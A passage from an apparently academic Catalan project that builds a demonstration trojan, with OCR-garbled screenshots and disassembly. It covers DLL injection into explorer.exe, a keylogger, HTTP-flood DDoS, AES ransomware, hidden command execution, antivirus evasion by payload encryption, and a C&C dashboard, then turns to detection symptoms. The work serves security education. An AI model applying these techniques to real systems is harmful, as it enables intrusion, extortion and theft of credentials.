oleaut32.dl 0x7ff843a20000 820kB OLEAUT32.DLL
OnDemandCon... 0x7ff82cFS0000 92k8 On Demand Connctiond Rou...
OneCoreComm 0x7ff339040000 508kB OneCore Common Proxy Stub
orelA 34 81MB __OneCoreUAP Common Prox..,

IO 0.0 oo ko Program Compatbility Assist...
PCShellCommon 0x7ff843dd0000 76k8 PCShell Common Proxy Stub
pdh.dl 0x7ff82f2c0000 292kB Ayudante de los datos de re...
PhotoMetadata. 0x7ff850240000 S28kB Photo Metadata Handler
PlayToDevice.dll 0x7ff8 1f1a0000 400kB PLAYTODEVICE DLL
poidui.dl 0x7ff82ad80000 2,1MB Icono de sistema de red
pnidui.dll.mui 0x8¢60000 20kB Icono de sistema de red
policymanager.dll 0x7£f3433f0000 644kB Policy Manager DLL
PortableDevice... 0x 7343420000 652kB Componentesdela APIded...

Figura 35: Moduls d’explorer.exe amb la DLL maliciosa

En entrar als diferents moduls del procés explorer.exe, comprovem que tenim la nostra
carrega maliciosa executant-se. Pero falta una cosa per comprovar: necessitem saber
que aquest procés té un thread executant LoadLibraryW() com a punt d'entrada. Ob-
servem doncs els threads del procés explorer.exe:

General Statistics Performance Threads Token Modules Memory Environment Handles GPU Disk and Networ}
TID CPU Cydes delta Start address - Priority
724 combase.dll!InternalTisAllocData +0x70 Normal

5744 combase. dll!InternalTisAllocData +0x70 Normal
7348 combase.dll!InternalTisAllocData +0x70 Normal
4572 aypt32.dl!CertFreeCRLContext+0x660 Normal
4696 dinashext.di!DiiCanUnloadNow +0x28b00 Normal
9400 dui70.dl| DrawShadowTextEx +0x 130 Normal
6104 explorer.exe +0x29590 Normal
5436 explorer.exe +0xa3ecd Normal
2228 ) actory+0x4100 Normal
5632 16,47 2.563.337.... kemel32.dll'LoadLibraryW I Normal
10105 msvart.dilt eadex Normal
3860 ntdll dll'TpReleaseCleanupGroupMembers +0x450 Normal
4176 ntdll.dil'TpReleaseCleanupGroupMembers +0x450 Normal

Figura 36: Thread executant-se amb LoadLibraryW() com a punt d’entrada

Per tal de complementar I'explicacio sobre la injeccidé DLL, a continuacié es presenta
una representacio grafica. Les seguents imatges il-lustren visualment els passos clau
en la injecci6 d'una DLL maliciosa en un procés objectiu, amb la finalitat de facilitar
la comprensi6 del metode d'injeccio:
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malware.exe

LoadLibraryW

GetProcAddress
adress

Figura 37: Obtenint el valor de I’adrega de LoadLibraryW()

malware.exe explorer.exe

Reserved memory
for DLL path

LoadLibraryW

VirtualAllocEx() adress

Figura 38: Reservant memoria per a la DLL

malware.exe explorer.exe

DLL Path written in

DLL Path
reserved memory

wieprcesssmont

LoadLibraryW
adress

Figura 39: Escrivint la ruta de la DLL en la memoria reservada
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malware.exe explorer.exe

DLL Path DLL Path written in
reserved memory

——CreateRemoteThread Thread starts from
LoadLibraryW
adress

Figura 40: Executant thread maliciés amb LoadLibraryW() com a punt d’entrada

Per acabar d'entendre com funciona la injeccié DLL, observem com es veuria a baix
nivell:

movaps xmm@, xmmword ptr cs:aClUsersSergioDe ; "C:\\Users\\Sergic\\Desktop\\payload\\x6".

lea rdx, [rbp+e58h+processName]

movaps xmml, xmmword ptr cs:aCUsersSergioDe+18h ; "\\Sergic\\Desktop\\payload\\x64\\Rele
lea rcx, _Format 3 "Searching for process ID of \"%s\" "

movaps xmmword ptr [rbp+65@h+dllPath], xmme

xor rl3d, rl3d

movaps xmm@, xmmword ptr cs:aCUsersSergioDe+28h ; "Desktop\\payload\\x64'\Release\\paylo
maov rl5d, rl3d

movaps wxmmword ptr [rbp+6S@h+dllPath+18h], xmml

mov rl2d, rl3d

movaps xmml, xmmword ptr cs:aCUsersSergioDe+38h ; "payload\\x64\\Release'\payload.dll"
movaps xmmword ptr [rbp+658h+d11Path+28h], xmm@

movaps xmm@, xmmword ptr cs:aCUsersSergioDe+48h ; "x64%\\Release‘\payload.dll"
movaps xmmword ptr [rbp+65@h+dllPath+38h], xmml

movaps xmml, xmmword ptr cs:aCUsersSergioDe+58h ; "ase’\payload.dll”

movaps xmmword ptr [rbp+658h+d11Path+48h], xmm@

movaps xmm@, xmmword ptr cs:aCUsersSergicDe+68h ; "ocad.dll”

movaps xmmword ptr [rbp+6S@h+dllPath+58h], xmml

movups wxmml, xmmword ptr cs:aNotepadExe ; "notepad.exe”

movaps xmmword ptr [rbp+658h+d11Path+68h], xmm@

movsd  xmm@, gword ptr cs:aNotepadExe+l@h ; "exe"

movsd gqword ptr [rbp+65@h+processName+1l@h], xmme@

mavups xmﬂyord ptr [rbp+656h+processﬂgme], xmml

call wprintf

xor edx, edx 3 th32ProcessID
mov [rsp+75@h+pe.dwsize], 238h

lea ecx, [rdx+2] 3 dwFlags

call cs:  imp CreateTocolhelp32Snapshot
mow rl4, rax

cmp rax, @FFFFFFFFFFFFFFFFh

jnz short loc_1488611D9

Figura 41: Instruccions per copiar la ruta del payload i el procés, i crear una instantania dels processos

e Instruccions movups: Copien les cadenes i dades a la memoria del procés, en
concret la ruta del payload i el nom del procés en que es fara la injeccio.

e callcs:__imp_CreateToolhelp32Snapshot: Inicia una instantania de I'estat ac-

tual dels processos del sistema, que s'utilitzara per cercar el procés objectiu pel
nom. En aquest cas en particular, es cercara el procés notepad.exe
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lea rcx, asearchComplete ; "Search Complete ‘wn"
call wprintf

Mo edx, rl2d

lea rcx, aTargetProcessP ; "Target process PID: #d hn"
call printf

lea rcx, [rbpt65eh+dllPath] ; 1lpString
mow ehw, 1

call cs: dmp lstrlen

lea rcx, ModuleName ; "kernel32.dl1”

mov [rbp+e5@h+NumberOofBytesWritten], ri13
Mo esl, eax

add esi, esi

call cs: imp GetModuleHandleld

Mo rox, rax 3 hModule

lea rdx, Prochame 3 LoadLibraryW
call cs: dimp GetProcAddress

Mo rld4, rax

test rax, rax

jnz short loc 1480081374

Figura 42: Instruccions per obtenir un handle de kernel32.dll i carregar ’adrega de LoadLibraryW()

e learcx, [ModuleName] ; "'kernel32.dll"": Aquesta instruccio prepara el primer
argument per a la crida a GetModuleHandleW(), carregant I'adreca de la cadena
kernel32.dll en el registre rcx. Aixo es fa perque GetModuleHandleW() pugui
trobar i retornar el handle del modul que conté funcions essencials del sistema
operatiu.

e call cs:__imp_GetModuleHandleW: Aquesta crida obté el handle del modul
kernel32.dll. Aquest modul conté les funcions del sistema, com ara LoadLi-
braryW(), que es necessiten per carregar una DLL en un procés.

e mov rcx, rax ; hModule: Després d'obtenir el handle del modul, aquesta ins-
truccié mou el handle a rcx, que és el registre que s'usara com a argument per
a la seguent trucada de funcio, que obté I'adreca de LoadLibraryW().

e lea rdx, [ProcName] ; ""LoadLibraryW": Carrega l'adreca de la cadena que
conté el nom de la funcié LoadLibraryW() al registre rdx. Aquesta adreca de
memoria es passara com a argument per localitzar la funcio dins de ker-
nel32.dll.

e call cs:__imp_GetProcAddress: Invoca la funcié GetProcAddress() per obte-
nir l'adreca de la funcié LoadLibraryW() dins el modul kernel32.dll. Aquesta
adrega s'utilitzara més tard per crear un fil remot que executi LoadLibraryW()
en el procés objectiu, carregant la DLL desitjada.
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loc_laeee1374: ; lpAddress

Xor edx, edx

mow [rsp+758h+flProtect], 4 ; flProtect
mow rod, 3eeeh ; flallocationType
Mo réd, 19eeesh ; dwsize

oW rex, rls : hProcess

lcall cs: dmp WirtualfllocEx

Mo rdi, rax

test rax, rax

jnz short loc_l4eeel3B4

Figura 43: Instruccid per cridar a VirtualAllocEx() i reservar memaoria al procés

e call cs:__imp_VirtualAllocEx: Invoca la funcid VirtualAllocEx() per reservar
espai de memaria dins del procés objectiu. Aquesta memaria s'utilitzara per
emmagatzemar la ruta de la DLL que sera injectada.

loc_14B8813B4:

Mo rid, 198888h

lea rcx, aMemoryAllocate ; "Memory Allocated At : 8x¥p Of Size : Ez"...
Mo rdx, rdi

call printf

lea rax, [rbp+eS@h+iumber0fByteskiritten]

mow ra, rsi ; nsize

lea r8, [rbp+e58h+dllPath] ; lpBuffer

Mo gword ptr [rsp+75@h+flProtect], rax ; lpNumberOfBytesWritten
mow rdx, rdi ; lpBasehddress

Mo rcx, rls : hProcess

call €s: imp WriteProcessMemory

test eax, eax

jz short loc_l48681466

Figura 44: Crida a WriteProcessMemory()

e call cs:__imp_WriteProcessMemory(): Aquesta funcid escriu dades en una
area de memoria dins I'espai d'adreces d'un procés especific, en aquest cas, per
copiar la ruta de la DLL.

6.6 Payload

Quan parlem de payload, ens referim a la part del malware que realitza les accions
malicioses. Cal destacar que el payload és el component que realment causa danys al
sistema i no ha de manifestar-se immediatament, sind que pot estar programat perqué
s'executi passat un determinat temps o en circumstancies concretes, dificultant la seva
deteccid. Per comprendre millor aquest terme posarem I'exemple d'un ransomware.
Un ransomware és un tipus de malware que es capag de xifrar els fitxers d'un sistema.
Els atacants demanaran una certa xifra de diners (normalment en bitcoin) per poder
desxifrar els arxius, i aixi poder tornar a recuperar-los. Posem el cas que un ciberata-
cant ha enviat un fitxer malicios que conté macros (en Word, ordres per automatitzar
una tasca) malicioses. En aquest context, el payload estaria format pel codi malicids
que encripta els fitxers.
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El payload, aleshores, podriem dir que és I'encarregat de determinar la naturalesa del
troiad. Per exemple, el payload d'un troia ransomware és responsable de xifrar arxius.
En un troia spyware, el payload inclou funcions com keyloggers per recopilar dades
d'usuari. Per a un troia DDO0S, el payload realitza atacs coordinats per incapacitar ser-
veis en linia.

Normalment, un troia esta creat per enfocar-se en un tipus d'accié. Com que I'objectiu
d'aquest projecte és poder mostrar la perillositat dels troians, he recopilat tota mena de
payloads perqué els usuaris puguin tenir un coneixement general. Podriem dir que el
troia desenvolupat és multifuncional, encara que en la realitat no és el més comd, sind
que estan dissenyats per fer una accio en concret.

Totes aquestes accions malicioses s'han programat dins d'un arxiu DLL, que se li sub-
ministrara al malware des del servidor per a poder fer la injeccio DLL.

Una vegada tenim clar qué és el payload d'un malware, passarem a la creaci6 d'aquest.
Amb l'objectiu de donar una visio global del tipus de payloads que executen aquests
troians, s'ha intentat replicar una amplia tipologia d'aquestes accions malicioses.

6.6.1 Registre de tecles (Keylogger)

El troia desenvolupat integra un keylogger, encarregat de la deteccié i del registre de
les pulsacions de tecles. Aquest keylogger utilitza GetAsyncKeyState(), una funcio de
I'API de Windows, per detectar les pulsacions del teclat. Quan una tecla és pressionada,
GetAsyncKeyState() retorna el seu codi virtual, indicant I'estat de la tecla. El bucle
principal del keylogger monitoritza si una tecla dins del rang de 8 a 222 ha estat pres-
sionada. Aquest rang inclou els codis virtuals de les tecles més comunes, on 8 corres-
pon a la tecla de retroces.

Constant Value Description
VE_LBUTTON 0x01 Left mouse button
VE_RBUTTON O0x02 Right mouse button

Figura 45: Codi virtual del boto dret i esquerre del ratoli. Font: https://learn.microsoft.com/en-us/win-
dows/win32/inputdev/virtual-key-codes

El programa verifica si la tecla no ha estat registrada abans en la mateixa pulsacio. Si
les tecles modificadores com Shift o AltGr estan activades, aixo afecta el caracter re-
sultant de la tecla pressionada.

El codi virtual de la tecla, juntament amb I'estat de les tecles modificadores, es con-
verteix en el caracter corresponent. Si es detecta un caracter valid, es registra en un
fitxer de text. El bucle s'executa continuament mentre la condicid sigui certa, amb una
pausa de 100 mil-lisegons entre cada iteracio per optimitzar el rendiment.

Aquests fitxers de text on s'escriuen les tecles que va pressionant la victima, s'‘acostu-
men a guardar en directoris temporals o0 en carpetes ocultes.
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Posem ara un cas practic:

Un usuari només iniciar el sistema, entra a gmail.com. Introdueix I'email i seguidament
la contrasenya. La victima no sospita res, ja que no hi ha cap fitxer obert, pero si anem
a l'arxiu de text, veurem el seguient:

Archive Edicion  Formato  Ver Ayuda
gmail.cumSErgiD.lupez@gmail.cumiq?wieﬂ

Figura 46: Dades delicades recopilades per el keylogger

El correu i la contrasenya s'han escrit al fitxer. Es molt probable que tot seguit un
atacant guardi aquestes dades en una base de dades.

6.6.2 Atac DDoS

Una altra accié maliciosa que poden arribar a fer aquests troians és un atac de denega-
cié de servei (DDoS). Aquests tipus d'atacs tenen com a objectiu saturar un servidor i
que deixi d'estar operatiu. Per fer-ho, s'envia trafic legitim massivament al servidor.

El troia que s'ha desenvolupat és capac de generar un atac de denegacié DDoS, mit-
jancant la botnet que anira creixent amb la infeccid de diferents maquines. Quan la
botnet esta composta de diferents maquines victimes, no tan sols es podria arribar a
realitzar un atac de denegacio de servei, siné que també podria utilitzar-se per enviar
gran quantitat d'emails no desitjats o spam, o fins i tot per minar criptomonedes, entre
altres.

El troia implementa un tipus d'atac DDoS en concret, anomenat inundacié HTTP
(HTTP Flood). L'objectiu d'aquest tipus d'atac és saturar un lloc web mitjancant I'en-
viament massiu de sol-licituds HTTP, siguin de tipus POST o GET.

Per fer aquest tipus d'atac, el troia se centra en la coordinacid. Primer de tot, se i
assigna una adreca IP i un port especific del servidor objectiu, juntament amb una
durada determinada, un nimero de threads que creara cada maquina, i el més impor-
tant, una hora programada per iniciar I'atac. L'efectivitat de I'atac recau en la seva ca-
pacitat per executar maltiples threads simultaniament. Cada thread representa una ins-
tancia independent on envia sol-licituds al servidor. En operar en paral-lel, aquests
threads generen un alt volum de trafic, fent que aquest atac sigui realment fatal.
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for (int i = @; 1 < threads; ++i) {

thread_pool.emplace_back(std::thread(make_request, ip, port, resource)});

L

or (auto& th : thread_pool) {
if (th.joinable(}) {
th.join();

Figura 47: Bucle per a la creacio de diferents threads

En iniciar les sol-licituds en un moment programat, i mantenir-les durant un periode
definit, augmenta la probabilitat de poder arribar a saturar el servidor.

Aquesta estratégia de multiples threads és clau, ja que permet multiplicar les sol-lici-
tuds mes enlla del que un dispositiu podria aconseguir.
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Figura 48: Representacio d'un atac DDoS de tipus HTTP Flood. Font: https://www.wa-
Ilarm.com/what/website-security-and-prevention-of-a-http-flood-attack

6.6.3 Encriptacio d’arxius

Actualment, molts dels troians estan implementant tecniques de ransomware. Una si-
tuacio realment preocupant, donada la seva perillositat. Per poder entendre més en
profunditat com funcionen aquests ransomware, se n‘ha implementat un exemple basic
utilitzant la llibreria cryptopp [35].

En primer lloc, I'atacant des del seu dashboard podra triar entre diferents maquines per
encriptar-les. Quan la maquina rep la instruccid d'encriptar els fitxers, aquesta proce-
dira a realitzar el xifratge.

Per implementar aquest xifratge, s'ha utilitzat un algorisme d'encriptacié freqtientment
utilitzat per aquests ransomwares: I'algorisme AES (Advanced Encryption Standard)
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[36] utilitzant el mode de xifrat CBC (Cipher Block Chaining), el qual encripta les
dades en blocs interdependents.

Aquest algorisme és usat pels ransomwares per la seva eficiéncia, ja que pot xifrar i
desxifrar fitxers rapidament. Una funcié interessant per als atacants, pel fet que aquests
busquen poder xifrar fitxers el més rapid possible. Pero el més important des de la
perspectiva d'un atacant €s que no es puguin recuperar i, en aquest sentit, aquest algo-
risme augmenta la dificultat de poder desxifrar aquests fitxers si no es disposa d'una
clau de desxifrat. Veiem a continuacio el seu mode de funcionament.

En primer lloca, es necessitara una clau secreta i també un vector d'inicialitzacié (1V).

Aquest ultim és un bloc de bits i el seu principal objectiu és generar aleatorietat al
xifratge. En el codi, es creen de la segiient manera:

CryptoPP: :AutoSeededRandomPool rng;
CryptoPP: :SecByteBlock key(CryptoPP::AES: :DEFAULT_KEYLENGTH);
rng.GenerateBlock(key, key.size());

CryptoPP::SecByteBlock iv(CryptoPP::AES::BLOCKSIZE);

rng.GenerateBlock(iv, iv.size())};

Figura 49: Inicialitzacid de la clau i del vector d’inicialitzacio

AES és un xifrador de bloc, que divideix el missatge en blocs de mida fixa (128 bits),
i xifra cada bloc per separat. Cadascun d'agquests blocs passen per diferents rondes. A
cadascuna d'aquestes rondes, s'apliquen quatre operacions diferents:

e SubBytes: Substitueix cada byte de les dades per un altre byte segons una taula
predefinida.

e ShiftRows: Desplaca les files de les dades per barrejar els bytes.
e MixColumns: Combina les dades de cada columna.
o AddRoundKey: Afegeix la clau de xifratge a les dades.
Durant el xifratge, els blocs de text pla es transformen en blocs de text xifrat utilitzant

laclau i el procés descrit. Per desxifrar, es realitza el procés invers utilitzant la mateixa
clau, la qual cosa permet recuperar el text pla original.
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Figura 50: Funcionament de I’AES en mode CBC. Font: https://es.wikipedia.org/wiki/Modos_de_ope-
raci%C3%B3n_de_una_unidad_de_cifrado_por_bloques

El ransomware esta dissenyat per encriptar el directori personal de I'usuari. No volem
encriptar fitxers del sistema, ja que deixariem el sistema inutilitzable i aquest no seria
I'objectiu.

Els fitxers principals que s'encripten sén d'aquest tipus:

".tXt , .XISX", ".dOC", ".dOCX", ".ppt", ".pth",
n.pdfu, u.jpgu1 ||.jpegn, ||.pngn, ||.bmpu’ n.gifu’
n.mpgu, ".WaV", ||.mp4||, ".a.Vi", ".mOV", ||.sq|||1
u.mdbu1 n.psdu1 ".Zip", ||.rar||

Una vegada explicat com funciona I'algorisme, observem ara com es veuria la pantalla
de la maquina victima, després que I'atacant hagi donat la instruccio6 d'encriptar:
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00f54a5851e9372b87810a8e60cdd2e7cfd80b6e31

Figura 51: Nota de rescat del ransomware

Fins que la victima no pagui el rescat, I'atacant no desencriptara els fitxers des del
servidor command and control (C&C) amb la clau generada particularment per a
aquesta maquina, guardada en una base de dades.

6.6.4 Captures de pantalla

Seguint amb técniques de spyware, veurem ara les captures de pantalla. Aquestes cap-
tures de pantalla es faran cada cert temps, per no saturar el sistema. Es guarden en un
directori del sistema de la victima, per posteriorment enviar-les al servidor. El servidor
tindra diversos directoris amb I’ID de cada maquina infectada, contenint les captures
de pantalla.

Per poder realitzar la captura de pantalla, tenim I'API de Windows que, fins aquest
punt, queda demostrat com n'és de versatil i de poderosa. S'utilitzen 4 funcions en
particular:

GetDC()
CreateCompatibleDC()
CreateCompatibleBitmap()
SelectObject()

Amb aquestes funcions, el troia podra generar un bitmap. El segiient pas sera passar
aquest bitmap a un fitxer JPEG. Per fer-ho, s'utilitzaran diferents funcions de la llibre-
ria libjpeg [37], a partir de les quals s'ajustaran alguns parametres com ara I'amplada,
I'alcada i la qualitat, entre d'altres. En aquest punt ja tindriem la captura de pantalla en
format JPEG. EIl segient pas sera desar-les en un directori per posteriorment enviar-
les al servidor.

A continuacio, es mostra un exemple de captura de pantalla que ha fet el troia. Tot i la

variacio dels colors que presenta la captura, aquest fet no tindria gaire rellevancia donat
que l'objectiu de I'atacant és extreure informacio.
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Figura 52: Captura de pantalla feta pel troia

6.6.5 Execuci6 d’instruccions

El troia té la capacitat de fer que la maquina victima executi instruccions i, a més,
capturar I'output d'aquesta. Per aix0, s'ha programat la funcié ExecuteCommandHid-
den(). Aquesta funcié té I'habilitat d'executar comandes en un altre ordinador de ma-
nera totalment oculta. Quan utilitzem CreateProcessA() per Ilancar una nova instruc-
cid, aquesta s'executa sense mostrar cap finestra, aconseguint-ho mitjancant lI'opcid
CREATE_NO_WINDOW. Aixo significa que no es mostrara cap finestra en la pantalla.

Abans d'executar la instruccid, el programa crea un pipe usant CreatePipe(). Aquest
pipe actua com un canal de comunicacio entre el procés que executa la instruccid i el
nostre programa. Es configura de manera que tota la sortida que normalment aniria a
la pantalla (sortida estandard) i els missatges d'error (error estandard) siguin redirigits
a aquest pipe. Aixi, en comptes d'apareixer en una finestra visible, tot el que la instruc-
ci6 produeixi es fica al pipe.

Una vegada la instruccid s'executa i envia informacié a aquest pipe, el nostre programa
comenca el procés de lectura. Mitjancant ReadFile(), llegim la sortida de la instruccio
des del costat de lectura del pipe. Aquesta lectura continua fins que s'ha recollit tota la
informacid produida per la instruccid, i aquesta es guarda en la ubicacio que hem es-
pecificat. Aquesta tecnica és sovint utilitzada pels atacants per evitar sospites quan
volen executar instruccions a les maquines infectades.

6.6.6 Encriptacid del payload

Molts tipus de malware, incloent-hi troians i ransomware, utilitzen I'encriptacio del
seu payload per passar més desapercebuts i evitar la deteccio per part dels antivirus.
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Aquesta tecnica consisteix a encriptar el payload, de manera que quan aquest arxiu
s'executa en el dispositiu de la victima, el payload es desencripta i s'activa sense ser
detectat per les mesures de seguretat estandard.

Segons un informe ICS CERT de Kaspersky publicat el 2023 [38], els ciberdelingtients
han aconseguit evitar la deteccio dels sistemes defensius mitjancant I'encriptacié d'un
payload en arxius de dades binaris separats.

Farem una prova usant VirusTotal. VirusTotal ens permet pujar un arxiu, i veure
quants antivirus son capacos de detectar aquest arxiu com a maliciés. Fem la prova
adjuntant el nostre payload sense encriptar-lo:

3 O (D 30 security vendors and no sandboxes flagged this file as malicious C* Reanalyze = Similar - More -
188 24670cf9e42185706¢29bd407898231c126207e16c4 05 10996296023c 11712 Size Last Analysis Date
payload.dil 316 MB 1day ago DLL
pedl  édbits

Community Score

DETECTION DETAILS BEHAVIOR COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections. plus an APl key to automate checks.

Popular threat label (D) trojan.byogn/convagent Threat categories trojan  ransomware  pua Family labels byogn comagent  quifem
Security vendors' analysis (3 Do you want to automate checks?
Antiy-AVL (D) TrojaniWin32Wacatac Arcabit (1) TrojanRansom.RTH.
T i T e
Avast (1) Wins4:TrajanX-gen [Tr AVG (1) Wins4:TrojanX-gen [Tri]

Avira (no cloud) (\j TRIAgent byogn BitDefender (j Gen:Heur.Ransom.RTH.1
Bkav Pro (D) We4 ADetectMalware Cylance (@ unsafe
Cynet (D) malicious (score: 100) Deeplnstinct (D) maLcious
0 ® M & T
Emsisoft (1) Gen:HeurRansom.RTH.1(B) eScan (1) Gen:HeurRansom.RTH.1
(T wazi (M Geni a T
Fortinet (D) waziPossibleThreat GData (D) GenHeurRansom.RTH.1
Google (D Detected lkarus (D GenRansom

Figura 53: Payload analitzat a Virus Total. Font: VirusTotal.com

El payload, o carrega util d'un software, pot tenir accions que son neutres i podrien ser
utilitzades per a proposits legitims, com la captura de pantalla o la captura de tecles en
el nostre cas, i que l'antivirus no sigui capag de detectar-ho com una amenaca. No
obstant aixo, en el cas del ransomware, I'accié caracteristica de xifrar arxius ha alertat
els antivirus, que han pogut detectar aquest comportament sospitds precisament per
I'activitat inusual de xifratge massiu d'arxius, el que indica una possible infeccié mali-
ciosa.

Com que ja tenim implementat I'algorisme AES utilitzat per encriptar els fitxers de la

maquina victima, l'utilitzarem per poder encriptar el nostre payload i veure si evita ser
detectar per la majoria d'antivirus:
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() No security vendors and no sandboxes flagged this file as malicious
6671050b8d7bd2abc60c929b952468¢17476a978998cda21a0aebedb7c1ba90c Size
CiberEncriptado-payload.dil 3161

Community Score
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Security vendors' analysis ()
Acronis (Static ML) » Undetected AhnLab-V3 \ Undetected
AlYac (&) Undetected Antiy-AVL () undetected
Arcabit (V) Undetected Avast (V) Undetected

Figura 54: Payload encriptat analitzat a VirusTotal. Font: VirusTotal.com

Com podem observar, cap antivirus és capac de detectar aquest payload. Pero hem de
tenir en compte que necessitem una clau per desxifrar-lo, que normalment pot estar
dins del troia en si, o podem recuperar-la del servidor.

A més, en encriptar el payload, aquest segueix tenint el mateix tamany: 3.16 MB.

6.7 Servidor command and control (C&C)

La creacio d'un servidor command and control (C&C) ens permetra interactuar amb la
base de dades, podent afegir noves dades de noves victimes, instruccions a executar i
desar les dades del keylogger, entre d’altres. No només aixo, siné que en aquest servi-
dor estara allotjada la DLL maliciosa, que les maquines victimes obtindran i faran la
injeccié DLL, permetent canviar la DLL si ens interessa.

La maquina de I'atacant no és I'inica que interactuara amb aquest servidor, també les
maquines victimes enviaran peticions a aquest servidor per determinar qué és el que
han de fer.

Per tant, no hi ha una connexio persistent entre la maquina i el servidor. Aquest és un
meétode utilitzat pels malwares per passar mes desapercebuts. El que fara la maquina
victima és un polling al servidor, és a dir, anira fent consultes cada cert temps per evitar
sospites.

A continuacid, posarem un exemple per veure com la maquina infectada podria exe-
cutar una instruccié sense haver-hi una connexio6 continua. L'atacant envia una sol-li-
citud POST per registrar a la base de dades una nova instruccio. La victima, després
que hagi passat I'interval establert pel polling, realitzara una peticio GET per obtenir
les instruccions i veure si hi ha alguna instruccio que no estigui executada amb el seu
ID. Seguidament, executara la instruccio i es capturara l'output.
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6.8 Dashboard

Arribem finalment a I'Gltim component del nostre troia, el dashboard. Es forga comu
que determinats tipus de malware, especialment aquells dissenyats per a campanyes
de ciberatacs sofisticades o xarxes de bots, incloguin un panell de control per als ata-
cants. La seva creaci6 té com a objectiu principal proporcionar una plataforma centra-
litzada per a la supervisié i gestio de les operacions malicioses. També proporciona
una interficie visual que permet a I'atacant monitoritzar I'estat de cada sistema com-
promeés, optimitzant aixi la coordinacio i oferint una visio clara i en temps real de totes
les activitats en curs. El dashboard esta creat per a web i s'ha utilitzat HTML, CSS i
JavaScript per al desenvolupament, i interactuara amb els diferents endpoints de I'API.
A continuacio, ho veurem mes detalladament.

Aixo és el primer que trobem en el dashboard, totes les maquines infectades:

Clientes

Sistema Operativo Ultima Vista Cifrado Activo Keylogger Screenshot Ransomware
1 1 192.168.1.32 Windows 3/1/2024, 7:36:54 No Si
2 2 172.16.0.2 Windows 3/1/2024, 7:42:45 No Si a
3 3 10.0.0.5 Windows 3/1/2024, 7:43:05 No Si a ]
4 4 192.168.1.10 Windows 3/1/2024, 7:43:32 No Si a O

Figura 55: Maquines infectades al dashboard

Com podem observar a la imatge, hi ha 4 maquines infectades. Aquest és un dels apar-
tats més importants del dashboard, ja que permet administrar la majoria d'accions
malicioses. En aquest cas, permet triar per a cada maquina si es vol registrar les tecles,
si es vol fer captura de pantalla i finalment si es vol encriptar I'ordinador.

Seguidament trobem un apartat per indicar I'ID de la maquina victima i quina ordre
vol que aquesta executi:

1D Cliente ID Comando Executed

1 1 pwd No DELETE COMMAND

DELETE COMMAND

o
~
w
z
=]

ID Cliente: Comando:
2 Is -1

Figura 56: Seccio del dashboard per enviar instruccions

No només aixo, sind que també hi ha la possibilitat de poder veure I'output d'aquesta
instruccio
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Passem ara a I'apartat on podem veure un recopilatori de les tecles que han pressionat
les victimes:

Keylogger

ID Cliente Texto Capturado

w M 4‘ ‘

Figura 57: Seccid del dashboard per veure el text capturat

Tenim l'opcio de prémer show text captured per poder veure el text capturat.

També hi ha la possibilitat que I'atacant pugui programar un atac DDoS:

DDoS

URL: Puerto: Numero de Threads: Duracién (minutos):

A Hora Programada (Formato: 2024-01-03T18:27):
Figura 58: Secci6 del dashboard per programar I’atac DDoS

Es podra indicar I’URL del servidor, un port, el nombre de threads, quant de temps
durara I'atac en minuts i finalment a quina hora s'executara, per tenir una coordinaci
absoluta entre totes les maquines a I'hora de fer I'atac de denegacié de servei.

Finalment, I'atacant necessitara saber si els ordinadors que estan xifrats han fet el pa-
gament del rescat, per aixi desencriptar-los. No només aixo, sin0 que també haura de
desar tant la key com el vector d'inicialitzacié per poder procedir a la desencriptacio.

Des d'aquest mateix apartat, per a cada victima l'atacant podra actualitzar I'estat del
pagament:
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Datos de Ransomware

ID Cliente  Fecha de Creacién  Clave \") Rescate Pagado  Acci6n

1 9/1/2024, 8:56:29 60B2E03D676AECETB1AFD459C83ESFC2 9BATC1B2E3F4D5AGCBEIFOATB2C3D4ES No

3 9/1/2024, 8:57:06 8FD3C7A2D2EBCBD1A4BCEATE1F8333B4 TA2B3C4D5E6F7ASBICODTE2ZF3G4H516) Si

Figura 59: Secci6 del dashboard per comprovar el pagament de les victimes encriptades

7. Acabant amb el troia

Aqguest apartat esta dedicat a explorar metodes per detectar i eliminar aquests softwares
malintencionats del nostre sistema, especialment quan tenim sospites de la seva
presencia. Donada la seva capacitat per operar en secret, és crucial comprendre els
senyals d'alarma i les tactiques de defensa.

Si recordem haver descarregat software de fonts no fiables o obert correus electronics
sospitosos amb enllagos o adjunts potencialment infectats, aquestes accions ens poden
alertar sobre la possible preséncia de troians en els nostres sistemes. Es en aquest con-
text que la capacitat de ser autosuficients en la detecci6 d'aquestes amenaces és crucial.
Havent adquirit una comprensio solida dels troians, podem ara enfocar-nos en com
detectar i actuar contra aquestes amenaces.

7.1 Simptomes per saber quan s’esta infectat per un troia

Els troians poden ser sigil-losos, pero sovint deixen senyals reveladores de la seva
presencia. Aquesta seccid explora els indicadors més comuns per detectar que el sis-
tema ha estat compromes.

7.1.1 Rendiment lent del sistema

Quan un sistema ha estat infectat amb un troia, normalment aquest s'acostuma a ins-
tal-lar i a operar de manera encoberta, realitzant tota mena d'accions malicioses sense
que l'usuari en sigui conscient. Aquestes accions malicioses sovint es fan en segon pla,
amb la qual cosa la persona no pot veure-les directament, tot i que consumeixen certs
recursos del sistema. Aquestes son algunes de les raons de per qué el sistema pot anar
lent:

e Uselevat de la CPU: Les accions que realitza sovint requereixen un Us elevat
de la CPU, traduint-se en un rendiment lent de I'ordinador, temps de resposta
més llargs en obrir programes o fer accions i, en casos extrems, el sistema pot
arribar a congelar-se o bloguejar-se. Els troians sovint realitzen tasques inten-
sives en segon pla, com I'espionatge, la mineria de criptomonedes o I'enviament
de correu brossa, fet que pot portar a un s molt alt de la CPU.
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e Comunicacions amb un servidor: Ja hem vist amb anterioritat com un troia
té la capacitat de comunicar-se amb un servidor command and control (C&C)
perque un atacant pugui tenir el control absolut de la maquina i enviar la infor-
macid. Doncs bé, aquesta comunicacio pot consumir un gran ample de banda i
reduir la velocitat d'internet, afectant el rendiment del sistema.

e Processos i serveis addicionals: Els troians poden instal-lar serveis i proces-
sos addicionals que s'executen en segon pla, consumint recursos del sistema i
possiblement interferint amb el funcionament normal del sistema operatiu.

7.1.2 La presencia de finestres emergents i redireccionament

Aquesta també pot ser una altre senyal preocupant d'infeccié per part d'un troia.
Aguests anuncis poden apareixer sobtadament, fins i tot quan no estas navegant per
internet, i sovint sén dificils de tancar. Els troians sovint generen aquest tipus de pu-
blicitat no desitjada per tal d'enganyar I'usuari perque hi faci clic, fet que pot portar a
la descarrega de més malware o a la revelacid d'informacié personal.

En relacié amb aquest fenomen, trobem el comportament de redirecci6 durant la na-
vegacio, que sovint forma part del mateix esquema malicids que genera les finestres
